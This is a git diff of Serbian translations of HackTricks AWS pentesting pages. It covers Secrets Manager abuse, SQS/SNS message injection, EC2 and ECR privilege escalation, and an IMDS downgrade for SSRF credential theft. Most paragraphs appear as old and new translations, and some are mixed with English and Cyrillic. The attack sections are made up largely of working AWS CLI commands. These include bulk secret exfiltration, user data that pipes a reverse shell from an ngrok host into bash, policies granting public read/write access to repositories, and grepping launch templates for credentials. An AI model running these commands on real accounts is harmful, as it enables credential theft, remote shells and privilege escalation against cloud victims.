Moguće je vratiti tajnu, što omogućava povraćaj tajni koje su zakazane za brisanje, pošto je minimalni period brisanja za tajne 7 dana, a maksimalni 30 dana. Zajedno sa permisijom secretsmanager:GetSecretValue, ovo omogućava preuzimanje njihovog sadržaja.
Da biste povratili tajnu koja je u procesu brisanja, možete koristiti sledeću komandu:
```bash
@@ -57,20 +57,20 @@ aws secretsmanager restore-secret \
```
## secretsmanager:DeleteResourcePolicy
Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. To može dovesti do DoS-a ako je politika resursa konfigurisana da dozvoli pristup određenom skupu korisnika.
Ova akcija omogućava brisanje resource policy koja kontroliše ko može da pristupi secret. Ovo može dovesti do DoS-a ukoliko je resource policy podešena da dozvoli pristup određenom skupu korisnika.
Da biste izbrisali politiku resursa:
Da biste obrisali resource policy:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage
Stanja tajne koriste se za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom.
Stanja tajne se koriste za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju aplikacije koriste, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i validira novu verziju pre nego što je učini trenutnom.
Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti neispravne kredencijale i mogu da otkažu.
Aplikacije uvek čitaju verziju označenu kao AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu da ne rade ispravno.
AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili pogrešno preusmeri, može izgledati da sve i dalje radi sa prethodnom verzijom.
AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili ponovo dodeli pogrešno, može izgledati da sve i dalje radi sa prethodnom verzijom.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
@@ -78,24 +78,18 @@ aws secretsmanager update-secret-version-stage \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
{{#include ../../../../banners/hacktricks-training.md}}
### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
Iskoristite Secrets Manager BatchGetSecretValue API da dohvatite do 20 secrets u jednom zahtevu. Ovo može drastično smanjiti broj API poziva u poređenju sa iterativnim pozivom GetSecretValue za svaki secret. Ako se koriste filters (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži jedan GetSecretValue događaj po svakom secret-u dohvaćenom u batch-u.
Zloupotrebite Secrets Manager BatchGetSecretValue API da preuzmete do 20 tajni u jednom zahtevu. Ovo može drastično smanjiti broj API poziva u poređenju sa ponavljanjem GetSecretValue za svaku tajnu. Ako se koriste filteri (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži po jedan GetSecretValue događaj za svaku tajnu preuzetu u batch-u.
Zahtevane dozvole
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
> [!WARNING]
> Imajte na umu da dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za dohvat tajni — takođe vam treba `secretsmanager:GetSecretValue` za svaki secret koji želite da dohvatite.
> Imajte na umu da dozvola `secretsmanager:BatchGetSecretValue` sama po sebi nije dovoljna za preuzimanje tajni — takođe vam treba `secretsmanager:GetSecretValue` za svaku tajnu koju želite da preuzmete.
Exfiltrate by explicit list
```bash
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate pomoću filtera (tag key/value ili name prefix)
Exfiltrate putem filtera (tag key/value ili name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
@@ -126,5 +120,6 @@ Rukovanje delimičnim neuspesima
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Uticaj
- Brzo “smash-and-grab” preuzimanje velikog broja tajni sa manje API calls, potencijalno zaobilaženje sistema za upozoravanje podešenog na skokove GetSecretValue.
- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj po tajni preuzetoj u batch-u.
- Brzo “smash-and-grab” mnogih tajni sa manje API poziva, potencijalno zaobilaženje sistema za obaveštavanje podešenog na skokove GetSecretValue.
- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj za svaku tajnu preuzetu u seriji.
{{#include ../../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
View File

@@ -4,14 +4,14 @@
## Description
Zloupotrebite SQS queue resource policy da omogućite attacker-controlled SNS topic da publish-uje poruke u victim SQS queue. U istom account-u, SQS subscription na SNS topic se automatski potvrđuje; u cross-account slučaju, morate pročitati SubscriptionConfirmation token iz queue i pozvati ConfirmSubscription. Ovo omogućava unsolicited message injection koje downstream consumers mogu implicitno verovati.
Zloupotrebite resource policy SQS reda da omogućite SNS topic pod kontrolom napadača da objavljuje poruke u žrtvin SQS red. U istom nalogu, SQS subscription na SNS topic se automatski potvrđuje; u cross-account slučaju morate pročitati SubscriptionConfirmation token iz reda i pozvati ConfirmSubscription. Ovo omogućava neautentičnu injekciju poruka kojoj downstream potrošači mogu implicitno verovati.
### Requirements
- Mogućnost izmene target SQS queue resource policy: `sqs:SetQueueAttributes` on the victim queue.
- Mogućnost kreiranja/publish-ovanja na SNS topic pod attacker control: `sns:CreateTopic`, `sns:Publish`, i `sns:Subscribe` on the attacker account/topic.
- Cross-account only: privremeni `sqs:ReceiveMessage` na victim queue da pročitate confirmation token i pozovete `sns:ConfirmSubscription`.
- Mogućnost izmene resource policy ciljanog SQS reda: `sqs:SetQueueAttributes` na žrtvinom redu.
- Mogućnost kreiranja/objavljivanja na SNS topic pod kontrolom napadača: `sns:CreateTopic`, `sns:Publish`, i `sns:Subscribe` na nalogu/topicu napadača.
- Cross-account samo: privremeno `sqs:ReceiveMessage` na žrtvinom redu da pročitate confirmation token i pozovete `sns:ConfirmSubscription`.
### Same-account exploitation
### Eksploatacija u istom nalogu
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### Napomene za cross-account
- Gore navedena politika reda mora dozvoliti strani `TOPIC_ARN` (attacker account).
- Pretplate se neće automatski potvrditi. Dodelite sebi privremeno `sqs:ReceiveMessage` na ciljni SQS red da biste pročitali poruku `SubscriptionConfirmation`, a zatim pozovite `sns confirm-subscription` sa njenim `Token`.
- Gornja politika reda mora dozvoliti strani `TOPIC_ARN` (nalog napadača).
- Pretplate se neće automatski potvrditi. Dodelite sebi privremeno `sqs:ReceiveMessage` na victim queue kako biste pročitali poruku `SubscriptionConfirmation`, a zatim pozovite `sns confirm-subscription` sa njenim `Token`.
### Uticaj
**Potencijalni uticaj**: Kontinuirano neželjeno ubacivanje poruka u pouzdan SQS red preko SNS-a, što može pokrenuti neželjenu obradu, zagađenje podataka ili zloupotrebu toka rada.
**Mogući uticaj**: Kontinuirano neželjeno umetanje poruka u pouzdani SQS red preko SNS-a, što može pokrenuti neočekivanu obradu, zagađenje podataka ili zloupotrebu tokova rada.
{{#include ../../../../banners/hacktricks-training.md}}

85
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
View File

@@ -12,11 +12,11 @@ Za više **informacija o EC2** pogledajte:
### `iam:PassRole`, `ec2:RunInstances`
Napadač može **kreirati instancu, prikačiti IAM role i potom pristupiti instanci** kako bi ukrao IAM role credentials sa metadata endpoint.
Napadač može **kreirati instancu sa priloženom IAM rolom i potom pristupiti instanci** kako bi ukrao kredencijale IAM role sa metadata endpointa.
- **Pristup preko SSH**
Pokrenite novu instancu koristeći **već kreiran** **SSH ključ** (`--key-name`) i zatim se povežite putem SSH-a na nju (ako želite da kreirate novi ključ, možda vam je potrebna dozvola `ec2:CreateKeyPair`).
Pokrenite novu instancu koristeći već kreirani **ssh key** (`--key-name`) i potom se povežite na nju preko SSH (ako želite da kreirate novi, možda ćete trebati dozvolu `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Budite oprezni sa GuradDuty ako koristite kredencijale IAM role izvan instance:
Pažljivo sa GuradDuty ako koristite kredencijale IAM role izvan instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Potential Impact:** Direktan privesc na bilo koju EC2 role koja je vezana za postojeće instance profiles.
**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 rolu pridruženu postojećim instance profilima.
#### Privesc na ECS
Sa ovim skupom dozvola možete takođe **kreirati EC2 instance i registrovati je unutar ECS cluster**. Na ovaj način, ECS **services** će se **pokretati** unutar **EC2 instance** kojoj imate pristup, i tada možete prodrijeti u te servise (docker containers) i **ukrasti njihove prikačene ECS role**.
Sa ovim skupom permisija takođe biste mogli **da kreirate EC2 instancu i registrujete je unutar ECS cluster-a**. Na ovaj način, ECS **services** će biti **pokrenuti** unutar **EC2 instance** kojoj imate pristup i tada možete prodrijeti u te servise (docker containers) i **ukrasti im pridružene ECS role**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Da biste saznali kako **force ECS services to be run** u ovoj novoj EC2 instanci, pogledajte:
Da biste saznali kako da **naterate ECS servise da se pokrenu** u ovoj novoj EC2 instanci pogledajte:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
Ako ne možete da **kreirate novu instancu**, ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu unutar klastera i izvedete pomenuti attack.
Ako **ne možete da kreirate novu instancu** ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu u okviru klastera i izvedete pomenuti napad.
**Potencijalni uticaj:** Direct privesc to ECS roles attached to tasks.
**Potential Impact:** Direktan privesc na ECS uloge pridružene task-ovima.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Slično prethodnom scenariju, attacker sa ovim dozvolama može **change the IAM role of a compromised instance** kako bi mogao da ukrade nove kredencijale.\
Pošto instance profile može imati samo 1 role, ako instance profile **already has a role** (uobičajen slučaj), takođe će vam biti potrebna **`iam:RemoveRoleFromInstanceProfile`**.
Slično prethodnom scenariju, napadač sa ovim permisijama bi mogao **promeniti IAM ulogu kompromitovane instance** kako bi mogao da ukrade nove kredencijale.\
Pošto instance profile može imati samo 1 ulogu, ako instance profile **već ima ulogu** (češći slučaj), takođe će vam trebati **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Ako **instance profile ima role** i napadač **ne može da je ukloni**, postoji drugo zaobilazno rešenje. On bi mogao da **pronađe** **instance profile bez role** ili da **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **asocira instance profile** kompromitovanom i**nstanci:**
Ako **instance profile ima role** i napadač **ne može da ga ukloni**, postoji drugo zaobilazno rešenje. On može da **pronađe** **instance profile bez role** ili **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **asocira instance profile** na kompromitovanu i**nstanca:**
- Ako instanca **nema nijedan instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potential Impact:** Direktan privesc na drugi EC2 role (potrebno je да imate kompromitovanu AWS EC2 instancu i neko dodatno ovlašćenje ili specifičan instance profile status).
**Potencijalni uticaj:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Sa ovim permisijama je moguće promeniti instance profile povezan sa instancom, pa ako napadač već ima pristup instanci, moći će da ukrade credentials za više instance profile role menjajući onu koja je povezana.
Sa ovim dozvolama moguće je promeniti instance profile povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade credentials za više instance profile role menjajući onaj koji je sa njom povezan.
- Ako instanca **ima instance profile**, možete **ukloniti** instance profile (`ec2:DisassociateIamInstanceProfile`) i **povezati** novi instance profile
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -102,11 +102,11 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potential Impact:** Direktan privesc na drugu EC2 rolu (potrebno je da kompromitujete AWS EC2 instancu i imate neku dodatnu dozvolu ili specifičan instance profile status).
**Potencijalni uticaj:** Direktan privesc na drugu EC2 role (potrebno je da kompromitujete AWS EC2 instance i imate dodatnu dozvolu ili specifičan instance profile status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Napadač sa dozvolama **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **prikačenom EC2 rolom** i **rev shell** u **user data**.\
Napadač sa dozvolama **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **prikačenom EC2 Role** i **rev shell** u **user data**.\
Kada se instance pokrene, može **ukrasti IAM role**.
```bash
REV=$(printf '#!/bin/bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Napadač koji ima **`ec2:ModifyInstanceAttribute`** može menjati atribute instance. Između ostalog, može **promeniti user data**, što znači da može naterati instancu da pokrene proizvoljan kod. To se može iskoristiti da se dobije **rev shell na EC2 instance**.
Napadač sa **`ec2:ModifyInstanceAttribute`** može da menja atribute instance. Između ostalog, može da **promeni user data**, što podrazumeva da može da natera instancu da **pokrene proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell na EC2 instanci**.
Imajte na umu da se atributi mogu **izmeniti samo dok je instanca zaustavljena**, pa su potrebne **permissions** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
Imajte u vidu da se atributi mogu **izmeniti samo dok je instanca zaustavljena**, pa su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 IAM Role prikačenu na kreiranu instancu.
**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 IAM Role pridruženu kreiranoj instanci.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Napadač koji ima dozvole **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **novu Launch Template verziju** sa **rev shell u** **user data** i sa **bilo kojom EC2 IAM Role na njoj**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Templat**e koji je **konfigurisano** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell.
Napadač sa permisijama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **new Launch Template version** sa **rev shell in** **user data** i **any EC2 IAM Role on it**, promeni podrazumevanu verziju, i svaka **any Autoscaler group** **using** that **Launch Templat**e koja je **configured** da koristi **latest** ili **default version** će **re-run the instances** koristeći taj template i izvršiće rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potencijalni uticaj:** Direktno privesc na drugu EC2 rolu.
**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može da **create a Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **create an autoscaling group** iz te konfiguracije i sačekati da rev shell **steal the IAM Role**.
Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **create a Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **create an autoscaling group** iz te konfiguracije i sačekati da rev shell **steal the IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Potencijalni uticaj:** Direktan privesc na drugu EC2 ulogu.
**Potencijalni uticaj:** Direktan privesc na drugu EC2 rolu.
### `!autoscaling`
Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privilegije na IAM ulogu, jer da biste pridružili ulogu navedenu u Launch Configuration ili u Launch Template, potrebne su dozvole `iam:PassRole` i `ec2:RunInstances` (što je poznat privesc).
Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM role, jer da biste prikačili rolu navedenu u Launch Configuration ili u Launch Template **potrebne su permisije `iam:PassRole` i `ec2:RunInstances`** (što je poznat privesc).
### `ec2-instance-connect:SendSSHPublicKey`
Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati SSH ključ korisniku i iskoristiti ga za pristup (ako ima SSH pristup instanci) ili za privesc.
Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i koristiti ga da pristupi (ako ima ssh pristup instanci) ili da eskalira privilegije.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potential Impact:** Direktan privesc na EC2 IAM role pridružene pokrenutim instancama.
**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh key na serial connection**. Ako serial nije omogućen, napadaču je potrebna dozvola **`ec2:EnableSerialConsoleAccess`** da bi ga omogućio.
Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ na serijsku vezu**. Ako serijski interfejs nije omogućen, napadaču je potrebna dozvola **`ec2:EnableSerialConsoleAccess` da ga omogući**.
Da biste se povezali na serial port, takođe **morate znati korisničko ime i lozinku naloga** unutar mašine.
Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku naloga** unutar mašine.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Ovaj način nije toliko koristan za privesc jer morate znati korisničko ime i lozinku da biste ga iskoristili.
Ovaj način nije baš koristan za privesc jer morate znati korisničko ime i lozinku da biste to iskoristili.
**Mogući uticaj:** (Teško dokazivo) Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama.
**Potencijalni uticaj:** (Teško dokazivo) Direktan privesc na EC2 IAM roles koje su pridružene pokrenutim instancama.
### `describe-launch-templates`,`describe-launch-template-versions`
Pošto launch templates imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** dozvolama može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali prisutni u user data. Da bi se to postiglo, sledeći skript prolazi kroz sve verzije dostupnih launch templates:
Pošto launch templates imaju verzionisanje, napadač sa dozvolama **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali prisutni u user data. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,29 +248,29 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
U gore navedenim komandama, iako specificiramo određene obrasce (`aws_|password|token|api`), možete koristiti drugi regex da biste pretražili druge vrste osetljivih informacija.
U gore navedenim komandama, iako navodimo određene obrasce (`aws_|password|token|api`), možete koristiti drugi regex da biste tražili druge vrste osetljivih informacija.
Ukoliko pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti ove kredencijale za autentifikaciju na AWS.
Ako pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te akreditive za autentifikaciju na AWS.
**Mogući uticaj:** Direktna eskalacija privilegija na IAM korisnika/korisnike.
**Potential Impact:** Direktno eskaliranje privilegija na IAM korisnika/korisnike.
## Reference
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../../banners/hacktricks-training.md}}
### `ec2:ModifyInstanceMetadataOptions` (degradacija IMDS-a radi omogućavanja SSRF krađe kredencijala)
Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na ciljanoj EC2 instanci može oslabiti IMDS zaštitu omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint instance metadata dostupnim preko uobičajenih SSRF/proxy puteva iz aplikacija koje rade na instanci. Ako napadač može pokrenuti SSRF u takvoj aplikaciji, može dohvatiti kredencijale instance profila i pivotirati koristeći ih.
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade za omogućavanje SSRF krađe kredencijala)
- Potrebne dozvole: `ec2:ModifyInstanceMetadataOptions` na ciljanoj instanci (plus mogućnost da dosegne/pokrene SSRF na hostu).
- Ciljani resurs: Pokrenuta EC2 instanca sa prikačenim instance profile-om (IAM role).
Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na kompromitovanoj EC2 instanci može oslabiti IMDS zaštite omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint instance metadata dostpunim putem uobičajenih SSRF/proxy putanja iz aplikacija koje se izvršavaju na instanci. Ako napadač može da izazove SSRF u takvoj aplikaciji, može preuzeti kredencijale instance profila i pivotirati pomoću njih.
Primer komandi:
- Potrebne dozvole: `ec2:ModifyInstanceMetadataOptions` na ciljnoj instanci (plus mogućnost da se dostigne/izazove SSRF na hostu).
- Ciljni resurs: Pokrenuta EC2 instanca sa pridruženim instance profile-om (IAM role).
Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,4 +297,5 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Potencijalni uticaj: Krađa instance profile credentials putem SSRF, što dovodi do privilege escalation i lateral movement koristeći EC2 role permissions.
Potencijalni uticaj: Krađa instance profile credentials putem SSRF-a koja dovodi do privilege escalation i lateral movement sa EC2 role permissions.
{{#include ../../../../banners/hacktricks-training.md}}

70
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
View File

@@ -6,7 +6,7 @@
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
Нападач који има **`ecr:GetAuthorizationToken`** и **`ecr:BatchGetImage`** може да login to ECR and download images.
Napadač sa **`ecr:GetAuthorizationToken`** i **`ecr:BatchGetImage`** može da se prijavi na ECR i preuzme images.
For more info on how to download images:
@@ -14,11 +14,11 @@ For more info on how to download images:
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}
**Potential Impact:** Индиректан privesc пресретањем осетљивих информација у саобраћају.
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
Нападач са свим тим дозволама **can login to ECR and upload images**. Ово може бити корисно за escalate privileges на друга окружења где се ти images користе.
Napadač sa svim tim dozvolama **može da se prijavi na ECR i upload images**. Ovo može biti korisno za eskalaciju privilegija na druga okruženja gde se ti images koriste.
To learn how to upload a new image/update one, check:
@@ -28,12 +28,12 @@ To learn how to upload a new image/update one, check:
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
Као у претходном одељку, али за public repositories.
Isto kao prethodni odeljak, ali za public repositories.
### `ecr:SetRepositoryPolicy`
Нападач са овом дозволом може **change** **repository** **policy** да би себи (или чак свима) дао **read/write access**.\
На пример, у овом примеру read access је дат свима.
Napadač sa ovom dozvolom može **change** the **repository** **policy** da sebi (ili čak svima) dodeli **read/write access**.\
For example, in this example read access is given to everyone.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
@@ -59,8 +59,8 @@ Sadržaj `my-policy.json`:
```
### `ecr-public:SetRepositoryPolicy`
Poput prethodnog odeljka, ali za javne repozitorijume.\
Napadač može **izmeniti politiku repozitorijuma** u ECR Public repozitorijumu kako bi dodelio neovlašćen javni pristup ili eskalirao svoje privilegije.
Kao i prethodni odeljak, ali za javne repozitorijume.\
Napadač može **izmeniti politiku repozitorijuma** ECR Public repozitorijuma kako bi omogućio neovlašćen javni pristup ili eskalirao svoje privilegije.
```bash
# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,58 +87,52 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Potencijalni uticaj**: Neovlašćen javni pristup ECR Public repozitorijumu, omogućavajući bilo kojem korisniku da push, pull ili delete images.
**Potencijalni uticaj**: Neovlašćen javni pristup ECR Public repository, omogućavajući bilo kojem korisniku da push, pull ili delete images.
### `ecr:PutRegistryPolicy`
Napadač sa ovom dozvolom može **izmeniti** **registry policy** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje i pisanje**.
Napadač sa ovom dozvolom može **promeniti** **registry policy** da sebi, svom nalogu (ili čak svima) dodeli **read/write access**.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
{{#include ../../../../banners/hacktricks-training.md}}
### ecr:CreatePullThroughCacheRule
Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. Ovo omogućava workload-ovima koji preuzimaju iz privatnog ECR-a da transparentno dobiju napadačke slike bez potrebe za bilo kakvim push-om u privatni ECR.
Iskoristite ECR Pull Through Cache (PTC) pravila da mapirate napadačem kontrolisanu upstream namespace na poverljivi privatni ECR prefiks. Ovo omogućava workload-ovima koji povlače iz privatnog ECR da transparentno dobiju napadačev image bez ikakvog push-a u privatni ECR.
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws
- Potrebne dozvole: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Ako koristite ECR Public kao upstream: ecr-public:* za kreiranje/push u public repo.
- Testirano upstream: public.ecr.aws
Steps (example):
Koraci (primer):
1. Prepare attacker image in ECR Public
1. Pripremite napadačev image u ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
